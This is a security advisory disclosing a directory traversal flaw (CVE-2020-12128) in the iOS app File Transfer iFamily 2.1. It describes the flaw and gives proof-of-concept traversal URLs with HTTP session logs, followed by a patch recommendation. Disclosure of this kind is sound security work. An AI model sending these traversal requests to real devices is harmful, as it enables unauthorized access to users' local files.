File Transfer iFamily 2.1 - Directory Traversal Vulnerability

Document Title:
===============
File Transfer iFamily 2.1 - Directory Traversal Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2199

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-12128

CVE-ID:
=======
CVE-2020-12128


Release Date:
=============
2020-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
2199


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Send photos, videos and documents to other devices without Internet. A complete application to exchange files 
wirelessly between devices. It uses the Multipeer Connectivity Framework to search and connect to available devices, 
without the need of internet connection or any kind of server and database.

(Copy of the Homepage: https://apps.apple.com/us/app/file-transfer-ifamily-files-photo-video-documents-wifi/id957971575 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official File Transfer iFamily v2.1 ios mobile application.


Affected Product(s):
====================
DONG JOO CHO
Product: File Transfer iFamily v2.1 - iOS Mobile Web Application


Vulnerability Disclosure Timeline:
==================================
2020-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the official File Transfer iFamily v2.1 ios mobile application.
The vulnerability allows remote attackers to change the application path in performed requests to compromise the local application 
or file-system of a mobile device. Attackers are for example able to request environment variables or a sensitive system path.

The directory-traversal web vulnerability is located in the main application path request performed via GET method. Attackers are 
able to request for example the local ./etc/ path of the web-server by changing the local path in the performed request itself.
In a first request the attack changes the path, the host redirects to complete the adress with "..". Then the attacker just 
attaches a final slash to its request and the path can be accessed via web-browser to download local files.

Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.


Proof of Concept (PoC):
=======================
The directory traversal vulnerability can be exploited by attackers with access to the wifi interface in a local network without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
http://localhost//../


--- PoC Session Logs [GET]] ---
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2521
-
http://localhost../etc/
Host: localhost..
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
- add slash to correct host adress (/.././)
http://localhost/./
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
- Access granted
http://localhost/../../../../../../../../../../../../../../../../../../../../../../
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2521


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the visible and accessable ./etc/ path in the app container.
Disallow path changes in the client-side get method requests and validate them securely.


Security Risk:
==============
The security risk of the directory travsersal web vulnerability in the ios mobile application is estimated as high.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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